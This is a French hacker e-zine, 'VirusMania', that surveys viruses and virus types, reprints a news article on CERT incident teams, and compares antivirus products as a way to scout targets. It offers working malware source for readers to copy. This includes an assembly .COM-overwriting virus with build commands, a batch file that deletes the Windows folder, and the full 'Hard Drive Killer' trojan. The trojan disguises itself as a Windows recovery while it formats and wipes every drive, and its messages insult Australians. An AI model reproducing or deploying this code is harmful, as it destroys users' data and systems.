_______________________________________ _ -*4*- `^°*;:,.> VirusMania -by Clad_strife- <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________ Virus J'ai dressé une liste de quelques virus dont il est important de connaitre les fonctionnalités. * Armagedon: ce virus utilise vos ports locaux COM pour appeler un service local d'information en Grece, ne marche qu'avec des modems exploitant la ligne téléphonique. * Melissa: marche avec Word97, ce virus en .doc s'auto-envoye aux gens dont les adresses e-mails apparaissent dans MS Outlook address book. Ouvert avec Word 2000 il réduit les paramètres de sécurité au minimum. * Yankee 44 A/B: ce programme infecte tout les .exe et .com quand ceux-ci tournent * Vascina TP 33: ce programme infecte les .exe et .com, si il trouve une version de lui plus ancienne que l'actuelle, il l'update par lui-même (nouvelle version) * Tolbuhin 992/1004: ce virus infecte les fichiers .com, de plus le PC rame quand le virus essaye d'infecter un fichier. * Tequila: après sa première infection sur le disque-dur, il n'infecte que les 4 premiers mois, après quoi tout les 4 mois de l'infection il affiche un message d'anniversaire. * Possessed 2443: après que le virus soit actif pour 15 à 20 minutes, tout programme qui tourne sera effacé. Quand aux fichiers infectés (.exe et .com) il contiendront le mot "POSSESSED!" * PM trojan (OCX): ce programme remplace les fichiers PWL et de passwords ICQ de l'utilisateur du système: un animation apparait pour faire comme si rien de spécial n'arrive. * Omega: quand le virus est activé un Vendredi 13, le symbole omega apparait et le disque-dur est réécrit. * Nuke Marauder 860: tous les 2 février ce virus écrit sur les fichiers .com la commande INT 20h (retour à DOS). * MSK 284/293: inefecte TOUS les .exe et .com dans le répertoire où il se trouve et peut corrompre le C: * Keypress: je vous avais donné le code source plus haut, ce virus s'active toutes les 30 minutes. * Hymn Hymn: quand le mois et le jour sont identiques (ex: 12/12) le virus détruit les secteurs boot du HD, joue de la musique, et affiche un message. * Anti-Pascal 605: le virus change la date et l'heure d'un programme infecté. De plus il efface tous les fichiers .bak et .pas. Remarque: il est évident que cette partie est incomplète, pour preuve: ceci ne sont des détails que sur les 750 virus que j'ai en banque de donnée. Il sort en moyenne 100 virus par mois, donc cette liste ne sert qu'à vous donnez un aspect global des fonctionnalités des différents virus. Les différents types de virus: Ca sert à rien de répéter ce qui est déjà dit, mais un article sur les virus sans ça, c'est dommage. - Virus de fichier, ou virus à action directe: Ces virus ajoutent leur code à celui de fichiers executables (avec l'extension .EXE, .COM, .SYS, etc) -Virus résidents: Ces virus se chargent en mémoire centrale et, de là, contaminent d'autres programmes. - Virus du secteur d'amorce des disques: Ces virus remplace l'amorce d'un disque par leur propre code, déplacant cette amorce sur le disque et se chargent ensuite en premier en mémoire centrale, dés les premiers accés aux disques. De là, il rendent inutilisable le disque d'amorçage ou se propagent à d'autre disque où ils commettent alors leurs Payload. (en englais action /méfait) -Virus furtifs: Voici une catégories de virus qui échappe à toutes détection en se camouflant. Il faut savoir qu'une méthode de détection classique des virus triviaux consiste à enregistrer la longeur d'un programme. L'orsque un virus frappe ce dernier, il ajoute son propre code ce qui par conséqunt accroît la taille du fichier infecté. Or, un virus furtif, lui, s'arrange pour qu'on lise toujours la même longeur pour le fichieer contaminé. Si vous lancez un Dir (sous Dos) par exemple, le virus détourne cette demande, effectue un petit calcul et hop! affiche la taille initial du fichier non contaminé. (pas con la petite bête ! ..) - Virus cryptés: Les virus cryptés sont encore plus vicieux. Ils modifie leur popre code par cryptage (XOR en assembleur pour les connaisseurs). Il existe des multitudes de moteur de cryptage dont le plus connus est le MTE (Mutation Engine) de Dark Avenger. - Virus polymorphe ou mutant: Ces derniers sont encore plus malin car ils modifient leurs propre signature à chaque contamination. En effet, il faut savoir que les Anti-Virus recherche en priorité les signatures des virus, c'est à dire les chaînes de caractères qui lui sont propres. Et là, héhé ils sont pas dans la merde moi je vous le dis. - Virus pièges: Le virus piège associe un virus connu à un virus encore inconnu. Vous détectez le premier et, tout happy vous l'éliminez en le détruisant, mais le secon lui subsiste. (Nice shot !) - Rétrovirus: Le rétrovirus est un virus spécialement créé pour contrer et déjouer les fonctions d'un logiciel antivirus donné. Connaissant le mode d'action de cet antivirus, il le contre et déjoue ses pièges. Pourquoi code-t-on les virus en assembleur: L'asm est l'abbréviation de "assembleur". Les fichiers programmés en assembleur et non compilés sont de type .asm., une fois compilés ils prennent la forme d'un .exe. Si les virus sont programmés en assembleur c'est parce que l'assembleur est le language machine, et qu'à partir du moment où un programme est programmé en assembleur il peut TOUT faire sur le système d'exploitation. Porgrammer en assembleur requiert donc de: - connaitre le système d'exploitation - connaitre ce language de programmation Autre avantage de l'assembleur, c'est que les programmes fait en assembleur sont assez petits (quelques ko), ce qui peut cependant évoquer une certaine méfiance. En quoi Linux/UNIX est "immunisé" contre les virus: Linux a deux caractéristiques qu'il faut retenir: Exécution en mode protégé sur les processeurs x86. Protection de la mémoire entre les processus, afin qu'un programme ne puisse à lui seul compromettre le fonctionnement de l'ensemble du système. Donc même si les virus ne peuvent pas se lancer, les mouchards (sniffers) le peuvent. Programmation de virus (par Syphillis [Beef13]): Ce programme est tout simple : Il cherche les fichiers COM dans le rep courant et les infecte en se copiant au tout debut du fichier. Mais comment chercher des fichiers ? En utilisant la fonction de l'API DOS appropriée. Comment la connaitre ? En lisant le truc sur les interrupt de DEF ou HELPPC ou la Bible PC. Bon dans notre cas, il s'agit des fonctions 4Eh et 4Fh. Ces fonctions correspondent aux fonctions C findfirst() et findnext() mais ici on n'a pas de ffblk. Il faut d'abord appeler la fonction 4Eh ( findfirst ) avec comme paramètre en AH le numéro de la fonc et en dx l'OFFSET sur une chaine ASCIIZ (qui finit par un zero si t es trop con pour savoir ce que c'est ) avec le nom du fichier à rechercher ( les caractères jokers sont acceptés ). En retour le CARRY FLAG est arm‚ si y a pas de fichier. Si un fichier est trouvé plein de trucs sont mis dansl la DTA qui est toujours située à partir de l'OFFSET 80h du PSP. Le nom du fichier se trouve à L OFFSET 9Eh. Pour rechercher un autre fichier, il suffit d'appeler la fonction 4Fh ( mov ah,4Fh) puis int 21h). Bon maintenant on sait chercher des fichiers. Mais comment s'en servir. Souviens toi qu'on a le nom du fichier qu'on vient de trouver à l offset 9Eh, au debut du segment dans le PSP ( Prefix Segment Program ou l inverse sais plus). Il va encore falloir se servir des fonctions de l'API DOS. Les utiles ici sont au nombre de trois : la 3Dh : ouvrir un fichier (Handle) la 3Eh : fermer un fichier (Handle) la 40h : écrire dans un fichier (Handle) Dans le monde de DOS il existe 2 moyens de se servir des fichiers : le FCB et les Handles. Nous utiliserons les Handle qui sont beaucoup plus pratique dans cette situation. pour ouvrir un fichier, il suffit de foutre en AH le numéro de la fontion (3Dh) en AL les attributs et en dx l'offset sur la chaine ASCIIZ du nom de fichier puis un petit int 21h et le tour est joué. Cette fonction renvoie le Handle du fichier en AX. Mais comme toutes les autres fonctions le veulent en BX ou le foutra en BX toute suite grâce à un xchg ax,bx. Puis on écrit dedans le virus au tout début du fichier. Etant donné qu'il viens d'être ouvert, il est au tout début et pas de soucis à avoir de ce côté‚ là. Pour ecrire fous en AH 40h, en Bx le Handle, en CX la taille et en DX l'offset du buffer à écrire. Dans notre cas l'offset est égal à 100h ( fin du PSP et début du prog). La taille a été codée directement mais on aurait pu mettre un OFFSET machin avec un machin: à la fin du file pour ke tout soit OK. Reste à fermer le fichier avec la fonction 3Eh qui attends le handle en BX et le tour et joué. Voici maintenant le fichier. Grâce ... queqlques astuces dans son organisation j ai pu réduire sa taille au max. -------------------------- Fichier IGA1.ASM --------------------------------- ; Ce virus est un virus débile !!!!! .model small ;modele de mémoire .code ;segment de code ORG 100h ;un COM commence ... l adresse mémoire 100h CON1: mov ah,4Eh ; Rechercher le premier COM du répertoire mov dx,OFFSET FILESPEC int 21h INFECT: jc FIN ; si aucun -> FIN mov ax,3D01h ; un fichier a été trouvé : mov dx,9Eh ; l'ouvrir int 21h xchg ax,bx ;Handle en BX mov ah,40h ;Ecrire le virus au début du fichier mov cx,2Dh ;Taille du virus mov dx,100h int 21h mov ah,3Eh ;fermer le fichier int 21h mov ah,4Fh ;chercher fichier suivant int 21h jmp INFECT FIN: ret FILESPEC DB '*.COM',0 ; Doit finir par un zéro ! END IGA1 ------------------------------- Fin du Fichier ------------------------------- Voilà c'est tout ! Pour le compiler : tasm iga1 tlink /t iga1 et on a le fichier iga1.com Si tu ne comprends pas ce code, passe ton chemin ! Si toi tester ce virus, il detruira tous les fichiers COM du répertoire ! C'est un peu ennuyeux si on veux rester discret. Un autre truc. Il ne marche pas avec les fichiers EXE. C normal, ceux ci ayant un en-tête precis et pouvant faire plusieurs segment, ils sont plus compliqués à infecter. Remarque: je n'ai pas vérifié la véracité de ces faits, de plus au niveau de la compilation du programme je pense qu'il vaut mieux rajouter ces quelques lignes (Note de Clad Strife): Le programme doit être saisi dans un fichier texte non formatté (c'est-à-dire sans caractères en gras, souligné, avec des polices de caractères de différentes tailles, ...) appelé fichier source. En effet, l'assembleur (le programme permettant de faire la traduction du langage assembleur en langage machine) permet uniquement de créer un fichier assemblé à partir du fichier source (il devra comporter l'extension .ASM, en s'appelant par exemple source.asm ou n'importe quel autre nom suivi de l'extension .asm). L'assembleur va fournir un fichier objet (dont l'extension est .obj) qui va contenir l'ensemble des instructions traduites en instructions machines. Ce fichier .OBJ ne pourra toutefois pas s'exécuter directement car il faut encore lier les différents fichiers. Comment ça les différents fichiers? En effet il est possible de construire un exécutable à partir de plusieurs fichiers sources (à partir d'un certain niveau de programmation il devient intéressant de créer des fichiers contenant des fonctions...). Ainsi, même si vous avez un seul fichier objet il vous faudra utiliser un programme (appelé éditeur de liens) qui va vous permettre de créer un fichier exécutable (dont l'extension sera .exe). A quoi ressemble un fichier en assembleur: Comme dans tout programme le fichier source doit être saisi de manière rigoureuse. Chaque définition et chaque instruction doivent ainsi s'écrire sur une nouvelle ligne (pour que l'assembleur puisse les différencier) Le fichier source contient: * Des définitions de données déclarées par des directives (mots spéciaux interprétés par l'assembleur, nous les étudierons plus tard, le but est ici de donner une idée de ce à quoi ressemble un fichier source) Celles-ci sont regroupées dans le segment de données délimité par les directives SEGMENT et ENDS * Puis sont placées les instructions (qui sont en quelques sorte le coeur du programme), la première devant être précédée d'une étiquette, c'est-à-dire un nom qu'on lui donne. Celles-ci sont regroupées dans le segment d'instructions délimité par les directives SEGMENT et ENDS * Enfin le fichier doit être terminé par la directive END suivi du nom de l'étiquette de la première instruction (pour permettre au compilateur de connaître la première instruction à exécuter * (Les points-virgules marquent le début des commentaires, c'est-à-dire que tous les caractères situés à droite d'un point virgule seront ignorés) Voici à quoi ressemble un fichier source (fichier .ASM): donnees SEGMENT; voici le segment de données dont l'étiquette est donnees ;Placez ici les déclarations de données donnees ENDS; ici se termine le segment de donnees ASSUME DS:data, CS: code instr SEGMENT; voici le segment d'instructions dont l'etiquette est instr debut: ;placez ici votre premiere instruction (son etiquette est nommée debut) ;Placez ici vos instructions instr ENDS; fin du segment d'instructions END debut; fin du programme suivie de l'etiquette de la premiere instruction la déclaration d'un segment Comme nous le verrons plus loin , les données sont regroupées dans une zone de la mémoire appelé segment de données, tandis que les instructions se situent dans un segment d'instructions. Le registre DS (Data Segment) contient le segment de données, tandis que le registre CS (Code Segment) contient le segment d'instructions. C'est la directive ASSUME qui permet d'indiquer à l'assembleur où se situe le segment de données et le segment de code. Puis il s'agit d'initialiser le segment de données: MOV AX, nom_du_segment_de_donnees MOV DS, AX On va s'en arrêter là pour la programmation en assembleur. Bases de la programmation de .bat: La création de fichiers .bat est simple: il suffit de s'y connaitre un peu en MS-DOS, et savoir taper sur son clavier. D'abord quelqes commandes de bases: echo off : désactive l'affichage de ce qui se passe dir C:\WINDOWS : affiche le contenu de C:\WINDOWS del C:\WINDOWS\*.exe : efface tous les fichiers .exe du C:\WINDOWS echo. : saute une ligne echo J'écris bien hein? : affiche ce qui est écrit après [echo] cls : efface l'écran pause : demande d'appuyez sur une touche pour continuer C:\WINDOWS\telnet.exe : éxécute telnet Donc voici le genre de fichiers .bat extrèmement dangereux que vous pouvez faire: echo off echo this programm is created by XXX all rights reserved pause del C:\WINDOWS\*.* dir C:\WINDOWS\ echo t'es mort cls On peut aussi créer des menus d'options: @echo off :menu cls echo. echo Menu d'options : echo ----------------------- echo 1. Editer autoexec.bat echo 2. Editer config.sys echo. echo Q. Quitter echo. choice /c:12Q /t:Q,60 /n Votre choix ? if errorlevel 255 goto erreur if errorlevel 3 goto Quitter if errorlevel 2 goto EditConf if errorlevel 1 goto EditAuto if errorlevel 0 goto erreur goto fin :erreur echo Il y a eu une erreur. goto fin :Quitter goto fin :EditConf edit c:\config.sys goto menu :EditAuto edit c:\autoexec.bat goto menu :fin Si vous n'avez pas compris le passage sur la commande choice et errorlevel, voilà de quoi vous aider: Aide sur CHOICE : choice [/c:ON] [/t:X,nn] [/n] [Invite] /c:ON Choix de lettres utilisables (ici O et N) (ON par défaut) /t:X,nn Choisira automatiquement option X après nn secondes. X doit faire parti de la liste /c: /n Interdit le respect de la casse Invite Texte d'invite qui apparaît Errorlevel correspond au choix de l'utilisateur. c'est comme la variable de réponse en Q-Basic. Paramètre de la ligne de commande @echo off cls echo. echo Le prog est %0 echo. echo Bonjour %1, echo. echo A plus, %2 Enregistrer sous "c:\test.bat" et taper sous dos : c:\test.bat "votrenom" "unAutrenom" %X correspond au Xième groupe de caractères sur la ligne de commande pour X= {0;9} Très pratique pour faire un prog d'installation : xcopy a:\*.* %1:\%2 Ici, %1 est la lettre de lecteur et %2 le dossier. Virus en .bat: L'article qui va suivre va faire une brève description d'un virus en .bat qui est malheureusement détecté par AVP et Norton (synonyme de qualité donc), comme trojan. Au sens littéral du terme un trojan et un virus se différencie par très peu de choses: un virus s'inscrit partout sur un HD, un trojan non. Il existe 2 sortes de trojans: - les trojans usuels (que vous connaissez et qui se foutent comme serveur sur votre bécane) - les trojans destructeurs (celui qui va suivre) Voici le code source à copier dans un .txt et à renommer en .bat. @echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autotest >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable. set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's damn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas. echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem When errorlevel is 1, then the above is not true, if 0, then it's true. rem Opposite of binary rules. If 0, it will elaps to the next command. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul > {t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :testdrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul :form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >> c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >> c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >> c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >> c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat echo echo 4. If you are Australian, I feel sorry for you, accept my sympathy, you retard. >>c:\autoexec.bat echo echo 5. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Regards, >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Munga Bunga >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat :makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >> c:\temp.bat echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat call attrib +r +h c:\temp.bat >nul cls echo Initializing Variables . . . rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. for %%a in (%drive%) do call format %%a: /q /u /autotest >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:\*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). What's the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Don't you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version 4.0, enjoy!!!! rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here). Article de Libération sur les "pompiers du net": Quand le câble qui achemine les données de l'Internet vers l'Angleterre a viré au rouge sur l'écran de contrôle, il a fallu réagir très vite. «Au début, on ne savait pas ce qui se passait», raconte David Crochemore. Sous ses yeux, il avait la cartographie des tuyaux qui composent Renater, le réseau informatique français de l'enseignement et de la recherche. Quand un des liens passe au orange ou au rouge, c'est l'alerte. Simple souci technique ou attaque de pirate informatique? Riposte. Ce jour d'octobre, un hacker était passé par là: le câble qui relie Renater à l'Angleterre était presque saturé, «très encombré» par des données envoyées en masse par le pirate malveillant. Coups de téléphone aux techniciens présents aux endroits stratégiques, interventions sur les ordinateurs. «En quelques heures, on a réglé le problème.» David Crochemore, avec sa moustache en guidon de vélo, est un pompier. Un soldat du feu high-tech, responsable pour Renater du Cert (Computer Emergency Response Team), le nom générique donné aux «équipes de riposte en cas d'urgence informatique». Partout dans le monde, des structures de ce type ont pour mission de réagir aux attaques de pirates, aux virus et à tous les hoquets de sécurité de l'Internet. «Notre rôle n'est pas de déposer plainte ou de donner la chasse aux pirates, explique David Crochemore, mais d'assister les utilisateurs victimes d'une attaque.» Le Cert, qu'il dirige coordonne les efforts des spécialistes de la sécurité présents notamment au CEA (Commissariat à l'énergie atomique), au Cnes (Centre national d'études spatiales) et dans les universités. Il diffuse des alertes, avertit de l'existence de nouveaux virus, fournit des documents sur les failles de sécurité des logiciels. Et, dans l'autre sens, centralise les informations envoyées par ses correspondants. Un bon moyen pour repérer les attaques à la mode. «Quand un nouvel outil de piratage apparaît, tous les hackers de bas étage se ruent dessus», sourit Crochemore. Le boulot ne manque pas. Par jeu ou par malveillance, les pirates ne cessent de prendre d'assaut les machines. Du côté de Renater, David Crochemore avoue cinq ou six problèmes graves (prise de contrôle d'un ordinateur) et cinquante à soixante-dix incidents plus bénins par mois. «C'est près de cinq fois plus qu'il y a deux ans, dit-il. Mais on ne nous signale pas tout.» A Bordeaux, le responsable de la sécurité des universités concède qu'il est victime de «deux à trois tentatives de piratage quotidiennes». Et précise que «ceux qui disent qu'ils ne sont pas attaqués sont des menteurs». Urgence. La création du premier Samu de la sécurité informatique remonte à décembre 1988, à l'université de Carnegie Mellon (Pittsburgh), à la demande de la Darpa, l'agence de recherche et développement du département de la Défense américain. Il y avait urgence: un virus lâché par l'étudiant Robert Morris le mois précédent venait de paralyser plus de 10 % des ordinateurs connectés à l'Internet. Depuis, c'est l'explosion. En France, une équipe de technopompiers destinée à secourir les administrations et les ministères devrait voir le jour avant la fin de l'année. L'organisme sera piloté par le Service central de la sécurité des systèmes d'information (SCSSI), aux ordres de Matignon. Coopération. Au total, la planète compte près de 80 équipes, fédérées au sein du First (Forum of Incident Response and Security Teams), basé aux Etats-Unis. Cet organisme est chargé d'assurer la coopération des différents Cert en cas de pépin d'ampleur. Ainsi, en mars, quand le virus Melissa a déferlé sur l'Internet, «une conférence téléphonique avec plusieurs dizaines de personnes de toute la planète a eu lieu», raconte David Crochemore. Des Asiatiques, victimes du décalage horaire, ont dû se relever en pleine nuit pour le briefing. Une procédure d'urgence, mais encore un peu poussive: lorsque les Cert ont enfin délivré le moyen de lutter contre Melissa, le virus avait déjà fait le tour de la planète. Pompier du Net, un métier d'avenir? Selon le général Jean-Louis Desvignes, le patron du SCSSI, c'est certain. Pressés par une concurrence très forte, les éditeurs de logiciels ne cessent de sortir de nouvelles versions de leurs produits, souvent sans prendre le temps de vérifier si des failles de sécurité subsistent. «On vous annonce une nouvelle version alors que la précédente est encore pleine de bugs, s'agace-t-il. Et l'Internet augmente la vulnérabilité des ordinateurs.» Un bonheur pour les pirates, toujours prêts à se faufiler dans le moindre interstice. Et de nouveaux incendies en prévision. Antivirus: Posséder un anti-virus c'est bien, savoir lequel choisir c'est mieux. Les antivirus détectent évidemment foule de virus, avec une base de données remises à jour chaque semaine. Des gens sont payés pour trouver des virus. Le plus connu des Anti-Virus est Norton Anti-Virus, mais est-il réellement efficace? Oui il l'est mais dans des proportions non effarantes. Sur 700 fichiers de scannés Norton n'a trouvé que 200 virus sur les 400 mis à disposition. De plus Norton scann tout ce qui est cracker (multiicq par exemple), ou bien des programmes comme la partie client de BO2K qui, jusqu'à nouvel ordre, n'est pas infecté par un trojan. De plus Norton peut vous donner la description de certains virus/troyans: bien vague... Alors que Norton fait une description de Netbus 1.7 (serveur) il n'en fait pas pour la 2.0: quand on sait que la deuxième est la plus dangereuse... Si je devais vous conseiller un Anti-Virus je devrais vous conseiller AVP (Anti Viral Toolkit pro), il détecte 20% de plus de virus (sans rajouter n'importe quoi) que NAV. Sinon voici un comparatif d'antivirus: SYMANTEC NORTON ANTIVIRUS FOR FIREWALLS * Recherche les virus sur le: HTTP, SMTP, FTP. * Ne recherche pas de magouilles sur les Applets * Ne fait recherche les certificats (intéressant) * Ne recherche pas de signatures (intéressant) * Ne recherche pas les sources (intéressant) * Ne filtre pas les E-mails (intéressant) * Ne fait pas de gestionnaire de délivrance de courrier * Pas d'OPSEC Compliant (NT) * Pas d'OPSEC Compliant (UNIX) * Ne fait pas de filtrage d'adresses url (intéressant) * Ne fait pas de filtrage de spamming (haha!) * Il ne bloque pas les cookies (intéressant) * Les algorithmes de compression supportés: ARJ, ZIP * Ne détecte pas l'e-mail spoofing (intéressant) TREND INTERSCAN VIRUS WALL * Recherche les virus sur le: HTTP, SMTP, FTP. * Recherche les magouilles sur les Applets * Recherche les certificats * Recherche de signatures * Recherche pas les sources * Filtre les E-mails * Fait un gestionnaire de délivrance de courrier * OPSEC Compliant (NT) * OPSEC Compliant (UNIX) * Ne fait pas de filtrage d'adresses url * Fait du filtrage de spamming * Il ne bloque pas les cookies * Les algorithmes de compression supportés: 19 types * Ne détecte pas l'e-mail spoofing Ainsi on peut voir que TREND INTERSCAN VIRUS WALL est très fiable (plus que NORTON). Mais si cette liste est là c'est pour une raison: les réseaux utilisent toujours ces deux là (en général, attention!), pour se sécuriser. Donc il est possible d'étudier ce que fait et ne fait pas chacun de ces utilitaires, pour mieux se renseigner sur la cible! Un réseau n'utilisant que NORTON, ne sera pas assez sécurisé et présentera donc des failles (pas de filtrages mails par exemple). Conclusion: Ton exploit ! / Tu as gagné Tu as accédé à un système, tu n'y as rien détruit. T'es un seigneur. un emprisonnement de deux mois à un an et une amende de 2.000 Frs à 50.000 Frs ou l'une de ces deux peines Tu as en plus modifié des infos ! Top bravo ! l'emprisonnement sera de deux mois à deux ans et l'amende de 10.000 Frs à 100.000 Frs Tu as niqué le système. Ce fainéant d'admin va avoir du boulot pour 3 jours. T'es un Lordz ! un emprisonnement de trois mois à trois ans et une amende de 10.000 Frs à 100.00 Frs ou l'une de ces deux peines Tu y as laissé un bon gros trojan ! Encore mieux. un emprisonnement de trois mois à trois ans et une amende de 2.000 Frs à 500.000 Frs ou une de ces deux peines Et en partant, tu as changé les mots de passe ! Super cool ! un emprisonnement d'un an à cinq ans et une amende de 20.000 Frs à 2.000.000 Frs Tu es revenu en utilisant ces mots de passe changés. T'es un malin, toi ! un emprisonnement d'un an à cinq ans et une amende de 20.000 Frs à 2.000.000 Frs ou une de ces deux peines Pas de chance, tu as essayé de pénétrer dans le système, mais ça n'a pas marché. Tu as quand même droit à un lot de consolation. La même chose que si tu avais réussi ! Au grand jeu du hacking on gagne à tous les coups ! Tu fais partie d'un groupe de rebelz, tu n'as pas hacké, mais tu en as discuté avec tes potes rebelz. Allez, on va dire que tu as aussi gagné On t'offre les peines prévues pour l'infraction elle-même ou pour l'infraction la plus sévèrement réprimée! profites-en ! Petit veinard ! (Zipiz RuL3z!) Auteur de l'article (c'est plus un article, c'est un zine là!!): Clad Strife / clad_strife@hotmail.com Greetz to: Tobozo, Jc Zic, Aiki, H, Jericho, Kevin Poulsen, Linus pis tous les lamahs qu'on oublie passke si on met tlm demain le zine prend 40 ko de +. RE-Greetz: IGA, QHA, SSS, EdenWorld, Pyrofreak, HKC clad_strife@hotmail.com